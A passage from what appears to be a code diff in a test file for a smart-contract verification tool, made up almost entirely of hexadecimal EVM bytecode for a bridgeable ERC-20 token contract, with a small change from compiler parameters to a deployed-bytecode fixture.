050565b60035490565b600a546000906001600160a01b0316331480610b2e5750600b546001600160a01b031633145b80610b435750600c546001600160a01b031633145b610b83576040805162461bcd60e51b815260206004820152600c60248201526b3bb937b7339039b2b73232b960a11b604482015290519081900360640190fd5b610af98383611a99565b6000610b9a848484611bd9565b610ba5848484611c2c565b5060019392505050565b7fea2aa0a1be11a07ed86d755c93467f4f82362b452371d1ba94d1715123511acb81565b60065460ff1690565b60075481565b600a546001600160a01b031681565b3360008181526002602090815260408083206001600160a01b03871684529091528120549091610af9918590610c2d908663ffffffff611de516565b6119ad565b6000846001600160a01b03811615801590610c5657506001600160a01b0381163014155b610c9f576040805162461bcd60e51b81526020600482015260156024820152741b9bdd0818481d985b1a59081c9958da5c1a595b9d605a1b604482015290519081900360640190fd5b610ca98686611a99565b856001600160a01b0316336001600160a01b03167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c1687878760405180848152602001806020018281038252848482818152602001925080828437600083820152604051601f909101601f1916909201829003965090945050505050a3610d37866001600160a01b0316611e46565b15610dc657610d7e33878787878080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250611e4c92505050565b610dc6576040805162461bcd60e51b815260206004820152601460248201527318dbdb9d1c9858dd0818d85b1b0819985a5b195960621b604482015290519081900360640190fd5b50600195945050505050565b6000610ddd33611133565b610e2e576040805162461bcd60e51b815260206004820152601860248201527f63616c6c6572206973206e6f7420746865206272696467650000000000000000604482015290519081900360640190fd5b610e388383612039565b6040805183815290516001600160a01b038516917f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885919081900360200190a250600192915050565b600d602052600090815260409020546001600160a01b031681565b604051806040016040528060018152602001603160f81b81525081565b610ec061119d565b610eff576040805162461bcd60e51b8152602060048201819052602482015260008051602061273b833981519152604482015290519081900360640190fd5b806001600160a01b03811615801590610f2157506001600160a01b0381163014155b610f6a576040805162461bcd60e51b81526020600482015260156024820152741b9bdd0818481d985b1a59081c9958da5c1a595b9d605a1b604482015290519081900360640190fd5b6001600160a01b038316610fe8576040513031906001600160a01b0384169082156108fc029083906000818181858888f19350505050610fe2578083604051610fb290612621565b6001600160a01b039091168152604051908190036020019082f080158015610fde573d6000803e3d6000fd5b5050505b5061107e565b604080516370a0823160e01b8152306004820152905184916000916001600160a01b038416916370a08231916024808301926020929190829003018186803b15801561103357600080fd5b505afa158015611047573d6000803e3d6000fd5b505050506040513d602081101561105d57600080fd5b5051905061107b6001600160a01b038316858363ffffffff61212b16565b50505b505050565b600c546001600160a01b031681565b6001600160a01b031660009081526001602052604090205490565b6110b561119d565b6110f4576040805162461bcd60e51b8152602060048201819052602482015260008051602061273b833981519152604482015290519081900360640190fd5b6040805162461bcd60e51b815260206004820152600f60248201526e1b9bdd081a5b5c1b195b595b9d1959608a1b604482015290519081900360640190fd5b60006001600160a01b038281161480159061116757506001600160a01b038281166000908152600d60205260409020541615155b92915050565b600b546001600160a01b031681565b60086020526000908152604090205481565b6000546001600160a01b031690565b6000546001600160a01b0316331490565b8415806111c25750846111bf61217d565b11155b611204576040805162461bcd60e51b815260206004820152600e60248201526d696e76616c69642065787069727960901b604482015290519081900360640190fd5b600754604080517fea2aa0a1be11a07ed86d755c93467f4f82362b452371d1ba94d1715123511acb6020808301919091526001600160a01b03808d16838501528b166060830152608082018a905260a0820189905287151560c0808401919091528351808403909101815260e08301845280519082012061190160f01b610100840152610102830194909452610122808301949094528251808303909401845261014282018084528451948201949094206000909452610162820180845284905260ff87166101828301526101a282018690526101c2820185905291516001926101e2808401939192601f1981019281900390910190855afa15801561130e573d6000803e3d6000fd5b505050602060405103516001600160a01b0316896001600160a01b03161461137d576040805162461bcd60e51b815260206004820152601f60248201527f696e76616c6964207369676e6174757265206f7220706172616d657465727300604482015290519081900360640190fd5b6001600160a01b038916600090815260086020526040902080546001810190915587146113e1576040805162461bcd60e51b815260206004820152600d60248201526c696e76616c6964206e6f6e636560981b604482015290519081900360640190fd5b6000856113ef5760006113f3565b6000195b90506114008a8a836119ad565b8561140c57600061140e565b865b6001600160a01b039a8b1660009081526009602090815260408083209c909d1682529a909a5299909820989098555050505050505050565b60058054604080516020601f6002600019610100600188161502019095169490940493840181900481028201810190925282815260609390929091830182828015610ae25780601f10610ab757610100808354040283529160200191610ae2565b6114af61119d565b6114ee576040805162461bcd60e51b8152602060048201819052602482015260008051602061273b833981519152604482015290519081900360640190fd5b6032600e541061152f5760405162461bcd60e51b81526004018080602001828103825260288152602001806127816028913960400191505060405180910390fd5b611541816001600160a01b0316611e46565b61158b576040805162461bcd60e51b81526020600482015260166024820152756e6f74206120636f6e7472616374206164647265737360501b604482015290519081900360640190fd5b61159481611133565b156115de576040805162461bcd60e51b815260206004820152601560248201527462726964676520616c72656164792065786973747360581b604482015290519081900360640190fd5b6001600160a01b036000819052600d6020526000805160206126cb833981519152541680611653576040805162461bcd60e51b815260206004820152601c60248201527f666972737420627269646765206973207a65726f206164647265737300000000604482015290519081900360640190fd5b600d6020526000805160206126cb83398151915280546001600160a01b03199081166001600160a01b038581169182179093556000908152604090208054909116918316919091179055600e546116ab906001611de5565b600e556040516001600160a01b038316907f3cda433c5679ae4c6a5dea50840e222a42cba3695e4663de4366be899348422190600090a25050565b606080600e54604051908082528060200260200182016040528015611715578160200160208202803883390190505b506001600160a01b036000818152600d6020526000805160206126cb83398151915254929350911680611784576040805162461bcd60e51b81526020600482015260126024820152711e995c9bc81859191c995cdcc8199bdd5b9960721b604482015290519081900360640190fd5b6001600160a01b038181161461182257808383815181106117a157fe5b6001600160a01b039283166020918202929092018101919091529181166000908152600d90925260409091205460019290920191168061181d576040805162461bcd60e51b81526020600482015260126024820152711e995c9bc81859191c995cdcc8199bdd5b9960721b604482015290519081900360640190fd5b611784565b509091505090565b3360008181526002602090815260408083206001600160a01b03871684529091528120549091610af9918590610c2d908663ffffffff61195016565b60006118728383611a99565b610af9338484611c2c565b61107e338383610b8d565b611893838383610b8d565b50505050565b6001600160a01b0381565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b61107e823383610b8d565b6118e261119d565b611921576040805162461bcd60e51b8152602060048201819052602482015260008051602061273b833981519152604482015290519081900360640190fd5b61192a81612181565b50565b600e5481565b600960209081526000928352604080842090915290825290205481565b6000828211156119a7576040805162461bcd60e51b815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f770000604482015290519081900360640190fd5b50900390565b6001600160a01b0383166119f25760405162461bcd60e51b81526004018080602001828103825260248152602001806127ce6024913960400191505060405180910390fd5b6001600160a01b038216611a375760405162461bcd60e51b81526004018080602001828103825260228152602001806126a96022913960400191505060405180910390fd5b6001600160a01b03808416600081815260026020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b600a546000906001600160a01b0316331480611abf5750600b546001600160a01b031633145b80611ad45750600c546001600160a01b031633145b15611b885733600090815260016020526040902054611af9908363ffffffff61195016565b33600090815260016020526040808220929092556001600160a01b03851681522054611b2b908363ffffffff611de516565b6001600160a01b0384166000818152600160209081526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a3506001611b95565b611b928383612221565b90505b8061107e576040805162461bcd60e51b815260206004820152600f60248201526e1d1c985b9cd9995c8819985a5b1959608a1b604482015290519081900360640190fd5b6000611be684848461222e565b905080611893576040805162461bcd60e51b815260206004820152600f60248201526e1d1c985b9cd9995c8819985a5b1959608a1b604482015290519081900360640190fd5b611c3e826001600160a01b0316611e46565b8015611c655750604080516000815260208101909152611c6390849084908490611e4c565b155b1561107e57611c7382611133565b15611caf5760405162461bcd60e51b81526004018080602001828103825260258152602001806127166025913960400191505060405180910390fd5b600a546001600160a01b0383811691161415611cfc5760405162461bcd60e51b815260040180806020018281038252602b8152602001806126eb602b913960400191505060405180910390fd5b600b546001600160a01b0383811691161415611d495760405162461bcd60e51b815260040180806020018281038252602e815260200180612849602e913960400191505060405180910390fd5b600c546001600160a01b0383811691161415611d965760405162461bcd60e51b815260040180806020018281038252602d81526020018061281c602d913960400191505060405180910390fd5b604080516001600160a01b0380861682528416602082015280820183905290517f11249f0fc79fc134a15a10d1da8291b79515bf987e036ced05b9ec119614070b9181900360600190a1505050565b600082820183811015611e3f576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b3b151590565b6000606060405180606001604052806026815260200161275b6026913990506000856001600160a01b03168288878760405160240180846001600160a01b03166001600160a01b0316815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b83811015611ed9578181015183820152602001611ec1565b50505050905090810190601f168015611f065780820380516001836020036101000a031916815260200191505b50945050505050604051602081830303815290604052906040518082805190602001908083835b60208310611f4c5780518252601f199092019160209182019101611f2d565b51815160001960209485036101000a01908116901991909116179052604080519490920184900390932092860180516001600160e01b03166001600160e01b031990941693909317835251855190945084935090508083835b60208310611fc45780518252601f199092019160209182019101611fa5565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114612026576040519150601f19603f3d011682016040523d82523d6000602084013e61202b565b606091505b509098975050505050505050565b6001600160a01b038216612094576040805162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015290519081900360640190fd5b6003546120a7908263ffffffff611de516565b6003556001600160a01b0382166000908152600160205260409020546120d3908263ffffffff611de516565b6001600160a01b03831660008181526001602090815260408083209490945583518581529351929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35050565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b17905261107e908490612325565b4290565b6001600160a01b0381166121c65760405162461bcd60e51b81526004018080602001828103825260268152602001806126836026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000610af93384846124dd565b600061223b8484846124dd565b6001600160a01b0384163314610ba557600061225785336118a4565b9050600019811461227c576122778533610c2d848763ffffffff61195016565b61231f565b6001600160a01b038516600090815260096020908152604080832033845290915290205415806122d657506122af61217d565b6001600160a01b038616600090815260096020908152604080832033845290915290205410155b61231f576040805162461bcd60e51b8152602060048201526015602482015274195e1c1a5c9e481a5cc81a5b881d1a19481c185cdd605a1b604482015290519081900360640190fd5b50610ba5565b612337826001600160a01b0316611e46565b612388576040805162461bcd60e51b815260206004820152601f60248201527f5361666545524332303a2063616c6c20746f206e6f6e2d636f6e747261637400604482015290519081900360640190fd5b60006060836001600160a01b0316836040518082805190602001908083835b602083106123c65780518252601f1990920191602091820191016123a7565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114612428576040519150601f19603f3d011682016040523d82523d6000602084013e61242d565b606091505b509150915081612484576040805162461bcd60e51b815260206004820181905260248201527f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564604482015290519081900360640190fd5b805115611893578080602001905160208110156124a057600080fd5b50516118935760405162461bcd60e51b815260040180806020018281038252602a8152602001806127f2602a913960400191505060405180910390fd5b6001600160a01b0383166125225760405162461bcd60e51b81526004018080602001828103825260258152602001806127a96025913960400191505060405180910390fd5b6001600160a01b0382166125675760405162461bcd60e51b81526004018080602001828103825260238152602001806126606023913960400191505060405180910390fd5b6001600160a01b038316600090815260016020526040902054612590908263ffffffff61195016565b6001600160a01b0380851660009081526001602052604080822093909355908416815220546125c5908263ffffffff611de516565b6001600160a01b0380841660008181526001602090815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b60328061262e8339019056fe60806040526040516032380380603283398181016040526020811015602357600080fd5b50516001600160a01b038116fffe45524332303a207472616e7366657220746f20746865207a65726f20616464726573734f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f2061646472657373a934977eb9828ba1f50591af02c98441645b4f0e916e0fecb4cc8e9c633dade2796f752063616e2774207472616e7366657220746f20446973747269627574696f6e20636f6e7472616374796f752063616e2774207472616e7366657220746f2062726964676520636f6e74726163744f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726f6e546f6b656e5472616e7366657228616464726573732c75696e743235362c62797465732963616e277420616464206f6e65206d6f7265206272696467652064756520746f2061206c696d697445524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f20616464726573735361666545524332303a204552433230206f7065726174696f6e20646964206e6f742073756363656564796f752063616e2774207472616e7366657220746f2041647669736f727352657761726420636f6e7472616374796f752063616e2774207472616e7366657220746f20507269766174654f66666572696e6720636f6e7472616374a265627a7a72305820fbfacd4b36dace16f9fd57104c8aafe8b5a519b29f407207baf7bb6b917422a764736f6c634300050a0032454950373132446f6d61696e28737472696e67206e616d652c737472696e672076657273696f6e2c75696e7432353620636861696e49642c6164647265737320766572696679696e67436f6e74726163742900000000000000000000000000000000000000000000000000000000000000a000000000000000000000000000000000000000000000000000000000000000e0000000000000000000000000348448061f604f4adf7ba714460c03cc6eb5b9f4000000000000000000000000348448061f604f4adf7ba714460c03cc6eb5b9f4000000000000000000000000348448061f604f4adf7ba714460c03cc6eb5b9f40000000000000000000000000000000000000000000000000000000000000003717765000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000037177650000000000000000000000000000000000000000000000000000000000" - params = %{ - "contract_source_code" => source_code, - "compiler_version" => "v0.5.8+commit.23d335f2", - "evm_version" => "default", - "name" => "HomeBridge", - "optimization" => true, - "optimization_runs" => 200, - "autodetect_constructor_args" => true - } + deployed_bytecode = + "0x608060405234801561001057600080fd5b50600436106102325760003560e01c8063726600ce11610130578063a457c2d7116100b8578063dd62ed3e1161007c578063dd62ed3e1461075f578063f2d5d56b1461078d578063f2fde38b146107b9578063fbb2a53f146107df578063ff9e884d146107e757610232565b8063a457c2d71461069d578063a9059cbb146106c9578063b753a98c146106f5578063bb35783b14610721578063c794c7691461075757610232565b80638f32d59b116100ff5780638f32d59b146105b55780638fcbaf0c146105bd57806395d89b41146106175780639712fdf81461061f5780639da38e2f1461064557610232565b8063726600ce146105595780637a13685a1461057f5780637ecebe00146105875780638da5cb5b146105ad57610232565b806337fb7e21116101be57806354fd4d501161018257806354fd4d50146104ed57806369ffa08a146104f55780636e15d21b1461052357806370a082311461052b578063715018a61461055157610232565b806337fb7e21146103c657806339509351146103ea5780634000aea01461041657806340c10f191461049b5780634bcb88bc146104c757610232565b8063238a3fe111610205578063238a3fe11461033657806323b872dd1461036257806330adf81f14610398578063313ce567146103a05780633644e515146103be57610232565b806304df017d1461023757806306fdde031461025f578063095ea7b3146102dc57806318160ddd1461031c575b600080fd5b61025d6004803603602081101561024d57600080fd5b50356001600160a01b0316610815565b005b610267610a56565b6040805160208082528351818301528351919283929083019185019080838360005b838110156102a1578181015183820152602001610289565b50505050905090810190601f1680156102ce5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610308600480360360408110156102f257600080fd5b506001600160a01b038135169060200135610aec565b604080519115158252519081900360200190f35b610324610b02565b60408051918252519081900360200190f35b6103086004803603604081101561034c57600080fd5b506001600160a01b038135169060200135610b08565b6103086004803603606081101561037857600080fd5b506001600160a01b03813581169160208101359091169060400135610b8d565b610324610baf565b6103a8610bd3565b6040805160ff9092168252519081900360200190f35b610324610bdc565b6103ce610be2565b604080516001600160a01b039092168252519081900360200190f35b6103086004803603604081101561040057600080fd5b506001600160a01b038135169060200135610bf1565b6103086004803603606081101561042c57600080fd5b6001600160a01b038235169160208101359181019060608101604082013564010000000081111561045c57600080fd5b82018360208201111561046e57600080fd5b8035906020019184600183028401116401000000008311171561049057600080fd5b509092509050610c32565b610308600480360360408110156104b157600080fd5b506001600160a01b038135169060200135610dd2565b6103ce600480360360208110156104dd57600080fd5b50356001600160a01b0316610e80565b610267610e9b565b61025d6004803603604081101561050b57600080fd5b506001600160a01b0381358116916020013516610eb8565b6103ce611083565b6103246004803603602081101561054157600080fd5b50356001600160a01b0316611092565b61025d6110ad565b6103086004803603602081101561056f57600080fd5b50356001600160a01b0316611133565b6103ce61116d565b6103246004803603602081101561059d57600080fd5b50356001600160a01b031661117c565b6103ce61118e565b61030861119d565b61025d60048036036101008110156105d457600080fd5b506001600160a01b038135811691602081013590911690604081013590606081013590608081013515159060ff60a0820135169060c08101359060e001356111ae565b610267611446565b61025d6004803603602081101561063557600080fd5b50356001600160a01b03166114a7565b61064d6116e6565b60408051602080825283518183015283519192839290830191858101910280838360005b83811015610689578181015183820152602001610671565b505050509050019250505060405180910390f35b610308600480360360408110156106b357600080fd5b506001600160a01b03813516906020013561182a565b610308600480360360408110156106df57600080fd5b506001600160a01b038135169060200135611866565b61025d6004803603604081101561070b57600080fd5b506001600160a01b03813516906020013561187d565b61025d6004803603606081101561073757600080fd5b506001600160a01b03813581169160208101359091169060400135611888565b6103ce611899565b6103246004803603604081101561077557600080fd5b506001600160a01b03813581169160200135166118a4565b61025d600480360360408110156107a357600080fd5b506001600160a01b0381351690602001356118cf565b61025d600480360360208110156107cf57600080fd5b50356001600160a01b03166118da565b61032461192d565b610324600480360360408110156107fd57600080fd5b506001600160a01b0381358116916020013516611933565b61081d61119d565b61085c576040805162461bcd60e51b8152602060048201819052602482015260008051602061273b833981519152604482015290519081900360640190fd5b61086581611133565b6108ad576040805162461bcd60e51b8152602060048201526014602482015273189c9a5919d9481a5cdb89dd08195e1a5cdd195960621b604482015290519081900360640190fd5b6001600160a01b038082166000908152600d6020526040812054908290526000805160206126cb833981519152549082169190811680610929576040805162461bcd60e51b81526020600482015260126024820152711e995c9bc81859191c995cdcc8199bdd5b9960721b604482015290519081900360640190fd5b836001600160a01b0316816001600160a01b0316146109c8576001600160a01b038082166000908152600d602052604090205491925090811690811480159061097a57506001600160a01b03811615155b6109c3576040805162461bcd60e51b81526020600482015260156024820152741a5b9d985b1a59081859191c995cdcc8199bdd5b99605a1b604482015290519081900360640190fd5b610929565b6001600160a01b038083166000908152600d602052604080822080548488166001600160a01b0319918216179091559287168252902080549091169055600e54610a1990600163ffffffff61195016565b600e556040516001600160a01b038516907f5d9d5034656cb3ebfb0655057cd7f9b4077a9b42ff42ce223cbac5bc586d212690600090a250505050565b60048054604080516020601f6002600019610100600188161502019095169490940493840181900481028201810190925282815260609390929091830182828015610ae25780601f10610ab757610100808354040283529160200191610ae2565b820191906000526020600020905b815481529060010190602001808311610ac557829003601f168201915b5050505050905090565b6000610af93384846119ad565b50600192915050565b60035490565b600a546000906001600160a01b0316331480610b2e5750600b546001600160a01b031633145b80610b435750600c546001600160a01b031633145b610b83576040805162461bcd60e51b815260206004820152600c60248201526b3bb937b7339039b2b73232b960a11b604482015290519081900360640190fd5b610af98383611a99565b6000610b9a848484611bd9565b610ba5848484611c2c565b5060019392505050565b7fea2aa0a1be11a07ed86d755c93467f4f82362b452371d1ba94d1715123511acb81565b60065460ff1690565b60075481565b600a546001600160a01b031681565b3360008181526002602090815260408083206001600160a01b03871684529091528120549091610af9918590610c2d908663ffffffff611de516565b6119ad565b6000846001600160a01b03811615801590610c5657506001600160a01b0381163014155b610c9f576040805162461bcd60e51b81526020600482015260156024820152741b9bdd0818481d985b1a59081c9958da5c1a595b9d605a1b604482015290519081900360640190fd5b610ca98686611a99565b856001600160a01b0316336001600160a01b03167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c1687878760405180848152602001806020018281038252848482818152602001925080828437600083820152604051601f909101601f1916909201829003965090945050505050a3610d37866001600160a01b0316611e46565b15610dc657610d7e33878787878080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250611e4c92505050565b610dc6576040805162461bcd60e51b815260206004820152601460248201527318dbdb9d1c9858dd0818d85b1b0819985a5b195960621b604482015290519081900360640190fd5b50600195945050505050565b6000610ddd33611133565b610e2e576040805162461bcd60e51b815260206004820152601860248201527f63616c6c6572206973206e6f7420746865206272696467650000000000000000604482015290519081900360640190fd5b610e388383612039565b6040805183815290516001600160a01b038516917f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885919081900360200190a250600192915050565b600d602052600090815260409020546001600160a01b031681565b604051806040016040528060018152602001603160f81b81525081565b610ec061119d565b610eff576040805162461bcd60e51b8152602060048201819052602482015260008051602061273b833981519152604482015290519081900360640190fd5b806001600160a01b03811615801590610f2157506001600160a01b0381163014155b610f6a576040805162461bcd60e51b81526020600482015260156024820152741b9bdd0818481d985b1a59081c9958da5c1a595b9d605a1b604482015290519081900360640190fd5b6001600160a01b038316610fe8576040513031906001600160a01b0384169082156108fc029083906000818181858888f19350505050610fe2578083604051610fb290612621565b6001600160a01b039091168152604051908190036020019082f080158015610fde573d6000803e3d6000fd5b5050505b5061107e565b604080516370a0823160e01b8152306004820152905184916000916001600160a01b038416916370a08231916024808301926020929190829003018186803b15801561103357600080fd5b505afa158015611047573d6000803e3d6000fd5b505050506040513d602081101561105d57600080fd5b5051905061107b6001600160a01b038316858363ffffffff61212b16565b50505b505050565b600c546001600160a01b031681565b6001600160a01b031660009081526001602052604090205490565b6110b561119d565b6110f4576040805162461bcd60e51b8152602060048201819052602482015260008051602061273b833981519152604482015290519081900360640190fd5b6040805162461bcd60e51b815260206004820152600f60248201526e1b9bdd081a5b5c1b195b595b9d1959608a1b604482015290519081900360640190fd5b60006001600160a01b038281161480159061116757506001600160a01b038281166000908152600d60205260409020541615155b92915050565b600b546001600160a01b031681565b60086020526000908152604090205481565b6000546001600160a01b031690565b6000546001600160a01b0316331490565b8415806111c25750846111bf61217d565b11155b611204576040805162461bcd60e51b815260206004820152600e60248201526d696e76616c69642065787069727960901b604482015290519081900360640190fd5b600754604080517fea2aa0a1be11a07ed86d755c93467f4f82362b452371d1ba94d1715123511acb6020808301919091526001600160a01b03808d16838501528b166060830152608082018a905260a0820189905287151560c0808401919091528351808403909101815260e08301845280519082012061190160f01b610100840152610102830194909452610122808301949094528251808303909401845261014282018084528451948201949094206000909452610162820180845284905260ff87166101828301526101a282018690526101c2820185905291516001926101e2808401939192601f1981019281900390910190855afa15801561130e573d6000803e3d6000fd5b505050602060405103516001600160a01b0316896001600160a01b03161461137d576040805162461bcd60e51b815260206004820152601f60248201527f696e76616c6964207369676e6174757265206f7220706172616d657465727300604482015290519081900360640190fd5b6001600160a01b038916600090815260086020526040902080546001810190915587146113e1576040805162461bcd60e51b815260206004820152600d60248201526c696e76616c6964206e6f6e636560981b604482015290519081900360640190fd5b6000856113ef5760006113f3565b6000195b90506114008a8a836119ad565b8561140c57600061140e565b865b6001600160a01b039a8b1660009081526009602090815260408083209c909d1682529a909a5299909820989098555050505050505050565b60058054604080516020601f6002600019610100600188161502019095169490940493840181900481028201810190925282815260609390929091830182828015610ae25780601f10610ab757610100808354040283529160200191610ae2565b6114af61119d565b6114ee576040805162461bcd60e51b8152602060048201819052602482015260008051602061273b833981519152604482015290519081900360640190fd5b6032600e541061152f5760405162461bcd60e51b81526004018080602001828103825260288152602001806127816028913960400191505060405180910390fd5b611541816001600160a01b0316611e46565b61158b576040805162461bcd60e51b81526020600482015260166024820152756e6f74206120636f6e7472616374206164647265737360501b604482015290519081900360640190fd5b61159481611133565b156115de576040805162461bcd60e51b815260206004820152601560248201527462726964676520616c72656164792065786973747360581b604482015290519081900360640190fd5b6001600160a01b036000819052600d6020526000805160206126cb833981519152541680611653576040805162461bcd60e51b815260206004820152601c60248201527f666972737420627269646765206973207a65726f206164647265737300000000604482015290519081900360640190fd5b600d6020526000805160206126cb83398151915280546001600160a01b03199081166001600160a01b038581169182179093556000908152604090208054909116918316919091179055600e546116ab906001611de5565b600e556040516001600160a01b038316907f3cda433c5679ae4c6a5dea50840e222a42cba3695e4663de4366be899348422190600090a25050565b606080600e54604051908082528060200260200182016040528015611715578160200160208202803883390190505b506001600160a01b036000818152600d6020526000805160206126cb83398151915254929350911680611784576040805162461bcd60e51b81526020600482015260126024820152711e995c9bc81859191c995cdcc8199bdd5b9960721b604482015290519081900360640190fd5b6001600160a01b038181161461182257808383815181106117a157fe5b6001600160a01b039283166020918202929092018101919091529181166000908152600d90925260409091205460019290920191168061181d576040805162461bcd60e51b81526020600482015260126024820152711e995c9bc81859191c995cdcc8199bdd5b9960721b604482015290519081900360640190fd5b611784565b509091505090565b3360008181526002602090815260408083206001600160a01b03871684529091528120549091610af9918590610c2d908663ffffffff61195016565b60006118728383611a99565b610af9338484611c2c565b61107e338383610b8d565b611893838383610b8d565b50505050565b6001600160a01b0381565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b61107e823383610b8d565b6118e261119d565b611921576040805162461bcd60e51b8152602060048201819052602482015260008051602061273b833981519152604482015290519081900360640190fd5b61192a81612181565b50565b600e5481565b600960209081526000928352604080842090915290825290205481565b6000828211156119a7576040805162461bcd60e51b815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f770000604482015290519081900360640190fd5b50900390565b6001600160a01b0383166119f25760405162461bcd60e51b81526004018080602001828103825260248152602001806127ce6024913960400191505060405180910390fd5b6001600160a01b038216611a375760405162461bcd60e51b81526004018080602001828103825260228152602001806126a96022913960400191505060405180910390fd5b6001600160a01b03808416600081815260026020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b600a546000906001600160a01b0316331480611abf5750600b546001600160a01b031633145b80611ad45750600c546001600160a01b031633145b15611b885733600090815260016020526040902054611af9908363ffffffff61195016565b33600090815260016020526040808220929092556001600160a01b03851681522054611b2b908363ffffffff611de516565b6001600160a01b0384166000818152600160209081526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a3506001611b95565b611b928383612221565b90505b8061107e576040805162461bcd60e51b815260206004820152600f60248201526e1d1c985b9cd9995c8819985a5b1959608a1b604482015290519081900360640190fd5b6000611be684848461222e565b905080611893576040805162461bcd60e51b815260206004820152600f60248201526e1d1c985b9cd9995c8819985a5b1959608a1b604482015290519081900360640190fd5b611c3e826001600160a01b0316611e46565b8015611c655750604080516000815260208101909152611c6390849084908490611e4c565b155b1561107e57611c7382611133565b15611caf5760405162461bcd60e51b81526004018080602001828103825260258152602001806127166025913960400191505060405180910390fd5b600a546001600160a01b0383811691161415611cfc5760405162461bcd60e51b815260040180806020018281038252602b8152602001806126eb602b913960400191505060405180910390fd5b600b546001600160a01b0383811691161415611d495760405162461bcd60e51b815260040180806020018281038252602e815260200180612849602e913960400191505060405180910390fd5b600c546001600160a01b0383811691161415611d965760405162461bcd60e51b815260040180806020018281038252602d81526020018061281c602d913960400191505060405180910390fd5b604080516001600160a01b0380861682528416602082015280820183905290517f11249f0fc79fc134a15a10d1da8291b79515bf987e036ced05b9ec119614070b9181900360600190a1505050565b600082820183811015611e3f576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b3b151590565b6000606060405180606001604052806026815260200161275b6026913990506000856001600160a01b03168288878760405160240180846001600160a01b03166001600160a01b0316815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b83811015611ed9578181015183820152602001611ec1565b50505050905090810190601f168015611f065780820380516001836020036101000a031916815260200191505b50945050505050604051602081830303815290604052906040518082805190602001908083835b60208310611f4c5780518252601f199092019160209182019101611f2d565b51815160001960209485036101000a01908116901991909116179052604080519490920184900390932092860180516001600160e01b03166001600160e01b031990941693909317835251855190945084935090508083835b60208310611fc45780518252601f199092019160209182019101611fa5565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114612026576040519150601f19603f3d011682016040523d82523d6000602084013e61202b565b606091505b509098975050505050505050565b6001600160a01b038216612094576040805162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015290519081900360640190fd5b6003546120a7908263ffffffff611de516565b6003556001600160a01b0382166000908152600160205260409020546120d3908263ffffffff611de516565b6001600160a01b03831660008181526001602090815260408083209490945583518581529351929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35050565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b17905261107e908490612325565b4290565b6001600160a01b0381166121c65760405162461bcd60e51b81526004018080602001828103825260268152602001806126836026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000610af93384846124dd565b600061223b8484846124dd565b6001600160a01b0384163314610ba557600061225785336118a4565b9050600019811461227c576122778533610c2d848763ffffffff61195016565b61231f565b6001600160a01b038516600090815260096020908152604080832033845290915290205415806122d657506122af61217d565b6001600160a01b038616600090815260096020908152604080832033845290915290205410155b61231f576040805162461bcd60e51b8152602060048201526015602482015274195e1c1a5c9e481a5cc81a5b881d1a19481c185cdd605a1b604482015290519081900360640190fd5b50610ba5565b612337826001600160a01b0316611e46565b612388576040805162461bcd60e51b815260206004820152601f60248201527f5361666545524332303a2063616c6c20746f206e6f6e2d636f6e747261637400604482015290519081900360640190fd5b60006060836001600160a01b0316836040518082805190602001908083835b602083106123c65780518252601f1990920191602091820191016123a7565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114612428576040519150601f19603f3d011682016040523d82523d6000602084